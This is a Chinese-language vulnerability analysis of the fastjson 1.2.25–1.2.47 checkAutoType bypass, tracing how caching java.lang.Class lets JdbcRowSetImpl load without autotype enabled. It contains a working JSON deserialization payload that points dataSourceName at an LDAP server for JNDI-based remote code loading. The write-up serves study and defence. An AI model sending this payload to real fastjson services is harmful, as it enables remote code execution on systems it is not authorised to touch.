fastjson1.2.25-1.2.47绕过

在1.2.25之前,因为默认AutoTyep是开启的,也没有什么限制,在1.2.25开始,fastjson就关闭了autotype,并且加入了,并且加入了checkAutotype

checkAutoType补丁分析

在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,其中有个autoTypeSupport默认为False。当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。

前面的[绕过和L绕过就不说了,说一下通杀,不开autotype也能用的姿势。

1.2.25-1.2.47通杀

漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测

这里有两个版本段:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用

payload

  1. {
  2. "a":{
  3. "@type":"java.lang.Class",
  4. "val":"com.sun.rowset.JdbcRowSetImpl"
  5. },
  6. "b":{
  7. "@type":"com.sun.rowset.JdbcRowSetImpl",
  8. "dataSourceName":"ldap://localhost:1389/badNameClass",
  9. "autoCommit":true
  10. }
  11. }

使用1.2.47复现

因为没有开启autotypeSupport,不会进入这里的判断

fastjson1.2.25-1.2.47 - 图1

因为type的值是java.lang.Class所以在findClass可以找到

fastjson1.2.25-1.2.47 - 图2

这里获取了JdbcRowSetImpl

这里使用了TypeUtils.loadClass函数加载了strVal,也就是JdbcRowSetlmpl,跟进发现会将其缓存在map中

fastjson1.2.25-1.2.47 - 图3

然后再次进入loadclass加载了该类

fastjson1.2.25-1.2.47 - 图4

然后在这里存入了缓存到className里

fastjson1.2.25-1.2.47 - 图5

再次进入checkautotype函数时,这里就从缓存加载了这个类

fastjson1.2.25-1.2.47 - 图6

绕过了检查。然后触发方式就和之前一样了